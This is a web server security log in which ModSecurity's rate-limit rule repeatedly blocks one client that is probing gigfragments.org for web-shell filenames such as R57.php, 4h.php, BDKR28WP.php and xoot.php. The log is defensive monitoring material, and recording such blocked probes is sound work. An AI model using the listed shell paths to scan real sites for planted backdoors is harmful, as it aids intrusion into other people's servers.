[Sat Feb 28 01:00:34.510601 2026] [:error] [pid 38620:tid 38623] [client 20.220.196.236:43932] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaHNsgP6I7SRqrhh7RrjXAAAAUE"]
[Sat Feb 28 01:00:34.922863 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:43957] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aaHNsgP6I7SRqrhh7RrjYAAAAVQ"]
[Sat Feb 28 01:00:35.334499 2026] [:error] [pid 38586:tid 38591] [client 20.220.196.236:43949] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/R57.php"] [unique_id "aaHNs7_i6nvKNhjFW7Us9gAAAQI"]
[Sat Feb 28 01:00:35.745692 2026] [:error] [pid 38586:tid 38593] [client 20.220.196.236:44019] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/R57.php"] [unique_id "aaHNs7_i6nvKNhjFW7Us9wAAAQQ"]
[Sat Feb 28 01:00:36.157820 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43875] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/R57.php"] [unique_id "aaHNtAP6I7SRqrhh7RrjZAAAAUg"]
[Sat Feb 28 01:00:36.568687 2026] [:error] [pid 15100:tid 15160] [client 20.220.196.236:43885] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/R57.php"] [unique_id "aaHNtEOEbzcINan_ctK3uAAAAEA"]
[Sat Feb 28 01:00:36.980656 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43845] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4h.php"] [unique_id "aaHNtAP6I7SRqrhh7RrjawAAAUo"]
[Sat Feb 28 01:00:37.395061 2026] [:error] [pid 38620:tid 38622] [client 20.220.196.236:43865] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4h.php"] [unique_id "aaHNtQP6I7SRqrhh7RrjbgAAAUA"]
[Sat Feb 28 01:00:37.806660 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:43873] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4h.php"] [unique_id "aaHNtQP6I7SRqrhh7RrjcgAAAVQ"]
[Sat Feb 28 01:00:38.219064 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43322] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4h.php"] [unique_id "aaHNtgP6I7SRqrhh7RrjdgAAAVI"]
[Sat Feb 28 01:00:38.631218 2026] [:error] [pid 38620:tid 38637] [client 20.220.196.236:43899] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "aaHNtgP6I7SRqrhh7RrjegAAAU8"]
[Sat Feb 28 01:00:39.041654 2026] [:error] [pid 38586:tid 38604] [client 20.220.196.236:43812] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "aaHNt7_i6nvKNhjFW7Us_AAAAQ8"]
[Sat Feb 28 01:00:39.452364 2026] [:error] [pid 15100:tid 15171] [client 20.220.196.236:43806] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "aaHNt0OEbzcINan_ctK3vQAAAEs"]
[Sat Feb 28 01:00:39.864002 2026] [:error] [pid 15098:tid 15105] [client 20.220.196.236:43854] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yussef.php"] [unique_id "aaHNt8kFqny8dQQbmTkd1wAAAIA"]
[Sat Feb 28 01:00:40.277806 2026] [:error] [pid 38620:tid 38646] [client 20.220.196.236:43820] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aaHNuAP6I7SRqrhh7RrjhQAAAVg"]
[Sat Feb 28 01:00:40.688229 2026] [:error] [pid 38620:tid 38628] [client 20.220.196.236:43956] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aaHNuAP6I7SRqrhh7RrjhwAAAUY"]
[Sat Feb 28 01:00:41.097758 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43892] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aaHNuQP6I7SRqrhh7RrjiAAAAVY"]
[Sat Feb 28 01:00:41.511613 2026] [:error] [pid 38620:tid 38629] [client 20.220.196.236:43847] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bs1.php"] [unique_id "aaHNuQP6I7SRqrhh7RrjiQAAAUc"]
[Sat Feb 28 01:00:41.922576 2026] [:error] [pid 38620:tid 38632] [client 20.220.196.236:43827] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaHNuQP6I7SRqrhh7RrjiwAAAUo"]
[Sat Feb 28 01:00:42.345018 2026] [:error] [pid 15099:tid 15147] [client 20.220.196.236:43316] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaHNuunvP2vtPjYDq_guNAAAAM4"]
[Sat Feb 28 01:00:42.758238 2026] [:error] [pid 15098:tid 15128] [client 20.220.196.236:43940] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaHNuskFqny8dQQbmTkd2QAAAJY"]
[Sat Feb 28 01:00:43.171069 2026] [:error] [pid 38586:tid 38605] [client 20.220.196.236:43953] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "aaHNu7_i6nvKNhjFW7UtAQAAARA"]
[Sat Feb 28 01:00:43.583881 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43890] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zu.php"] [unique_id "aaHNu7_i6nvKNhjFW7UtBAAAAQs"]
[Sat Feb 28 01:00:43.995194 2026] [:error] [pid 15098:tid 15107] [client 20.220.196.236:43781] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zu.php"] [unique_id "aaHNu8kFqny8dQQbmTkd2gAAAII"]
[Sat Feb 28 01:00:44.411792 2026] [:error] [pid 15240:tid 15253] [client 20.220.196.236:43922] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zu.php"] [unique_id "aaHNvC1iKL_41Rk9A9Nk1wAAAAs"]
[Sat Feb 28 01:00:44.822817 2026] [:error] [pid 38620:tid 38642] [client 20.220.196.236:43946] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zu.php"] [unique_id "aaHNvAP6I7SRqrhh7RrjjwAAAVQ"]
[Sat Feb 28 01:00:45.235357 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:43879] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aaHNvQP6I7SRqrhh7RrjkwAAAUk"]
[Sat Feb 28 01:00:45.647440 2026] [:error] [pid 38620:tid 38640] [client 20.220.196.236:43926] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aaHNvQP6I7SRqrhh7RrjlQAAAVI"]
[Sat Feb 28 01:00:46.061805 2026] [:error] [pid 15240:tid 15243] [client 20.220.196.236:43852] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aaHNvi1iKL_41Rk9A9Nk3QAAAAE"]
[Sat Feb 28 01:00:46.472136 2026] [:error] [pid 38586:tid 38599] [client 20.220.196.236:43938] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alpha.php"] [unique_id "aaHNvr_i6nvKNhjFW7UtDAAAAQo"]
[Sat Feb 28 01:00:46.882304 2026] [:error] [pid 15240:tid 15259] [client 20.220.196.236:43862] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aaHNvi1iKL_41Rk9A9Nk3wAAABE"]
[Sat Feb 28 01:00:47.297076 2026] [:error] [pid 38586:tid 38611] [client 20.220.196.236:43855] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aaHNv7_i6nvKNhjFW7UtEgAAARY"]
[Sat Feb 28 01:00:47.710529 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43724] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aaHNvwP6I7SRqrhh7RrjmAAAAVA"]
[Sat Feb 28 01:00:48.125722 2026] [:error] [pid 38586:tid 38603] [client 20.220.196.236:43857] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/opts.php"] [unique_id "aaHNwL_i6nvKNhjFW7UtGAAAAQ4"]
[Sat Feb 28 01:00:48.539100 2026] [:error] [pid 38620:tid 38625] [client 20.220.196.236:43900] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaHNwAP6I7SRqrhh7RrjmgAAAUM"]
[Sat Feb 28 01:00:48.950157 2026] [:error] [pid 38620:tid 38635] [client 20.220.196.236:43888] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaHNwAP6I7SRqrhh7RrjnAAAAU0"]
[Sat Feb 28 01:00:49.359682 2026] [:error] [pid 15240:tid 15262] [client 20.220.196.236:43934] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaHNwS1iKL_41Rk9A9Nk4gAAABQ"]
[Sat Feb 28 01:00:49.769788 2026] [:error] [pid 38620:tid 38623] [client 20.220.196.236:43836] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aaHNwQP6I7SRqrhh7RrjogAAAUE"]
[Sat Feb 28 01:00:50.184481 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43948] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aaHNwgP6I7SRqrhh7RrjowAAAUQ"]
[Sat Feb 28 01:00:50.598327 2026] [:error] [pid 15240:tid 15251] [client 20.220.196.236:43918] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aaHNwi1iKL_41Rk9A9Nk5gAAAAk"]
[Sat Feb 28 01:00:51.011605 2026] [:error] [pid 38620:tid 38638] [client 20.220.196.236:43990] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aaHNwwP6I7SRqrhh7RrjqQAAAVA"]
[Sat Feb 28 01:00:51.424308 2026] [:error] [pid 38620:tid 38644] [client 20.220.196.236:43902] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aaHNwwP6I7SRqrhh7RrjrAAAAVY"]
[Sat Feb 28 01:00:51.835353 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:43888] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaHNwwP6I7SRqrhh7RrjrwAAAUU"]
[Sat Feb 28 01:00:52.245458 2026] [:error] [pid 38586:tid 38600] [client 20.220.196.236:43935] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaHNxL_i6nvKNhjFW7UtJAAAAQs"]
[Sat Feb 28 01:00:52.658512 2026] [:error] [pid 38620:tid 38626] [client 20.220.196.236:43803] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaHNxAP6I7SRqrhh7RrjtQAAAUQ"]
[Sat Feb 28 01:00:53.068871 2026] [:error] [pid 15240:tid 15266] [client 20.220.196.236:43942] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/seetox.php"] [unique_id "aaHNxS1iKL_41Rk9A9Nk6gAAABg"]
[Sat Feb 28 01:00:53.476924 2026] [:error] [pid 38586:tid 38598] [client 20.220.196.236:43896] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aaHNxb_i6nvKNhjFW7UtKQAAAQk"]
[Sat Feb 28 01:00:53.886591 2026] [:error] [pid 38620:tid 38631] [client 20.220.196.236:43787] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aaHNxQP6I7SRqrhh7RrjtgAAAUk"]
[Sat Feb 28 01:00:54.298464 2026] [:error] [pid 38620:tid 38630] [client 20.220.196.236:43808] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aaHNxgP6I7SRqrhh7RrjuAAAAUg"]
[Sat Feb 28 01:00:54.710307 2026] [:error] [pid 38586:tid 38589] [client 20.220.196.236:43984] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aaHNxr_i6nvKNhjFW7UtLAAAAQA"]
[Sat Feb 28 01:00:55.119617 2026] [:error] [pid 15100:tid 15167] [client 20.220.196.236:43894] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaHNx0OEbzcINan_ctK3xQAAAEc"]
[Sat Feb 28 01:00:55.532781 2026] [:error] [pid 38620:tid 38627] [client 20.220.196.236:44024] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaHNxwP6I7SRqrhh7RrjvwAAAUU"]
[Sat Feb 28 01:00:55.953611 2026] [:error] [pid 38586:tid 38602] [client 20.220.196.236:43784] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaHNx7_i6nvKNhjFW7UtLgAAAQ0"]
[Sat Feb 28 01:00:56.371087 2026] [:error] [pid 15099:tid 15147] [client 20.220.196.236:43877] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins.php"] [unique_id "aaHNyOnvP2vtPjYDq_guQwAAAM4"]
[Sat Feb 28 01:00:56.781812 2026] [:error] [pid 15240:tid 15252] [client 20.220.196.236:43908] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aaHNyC1iKL_41Rk9A9Nk8wAAAAo"]
[Sat Feb 28 01:00:57.198030 2026] [:error] [pid 38586:tid 38606] [client 20.220.196.236:43792] [client 20.220.196.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xoot.php"] [unique_id "aaHNyb_i6nvKNhjFW7UtMQAAARE"]
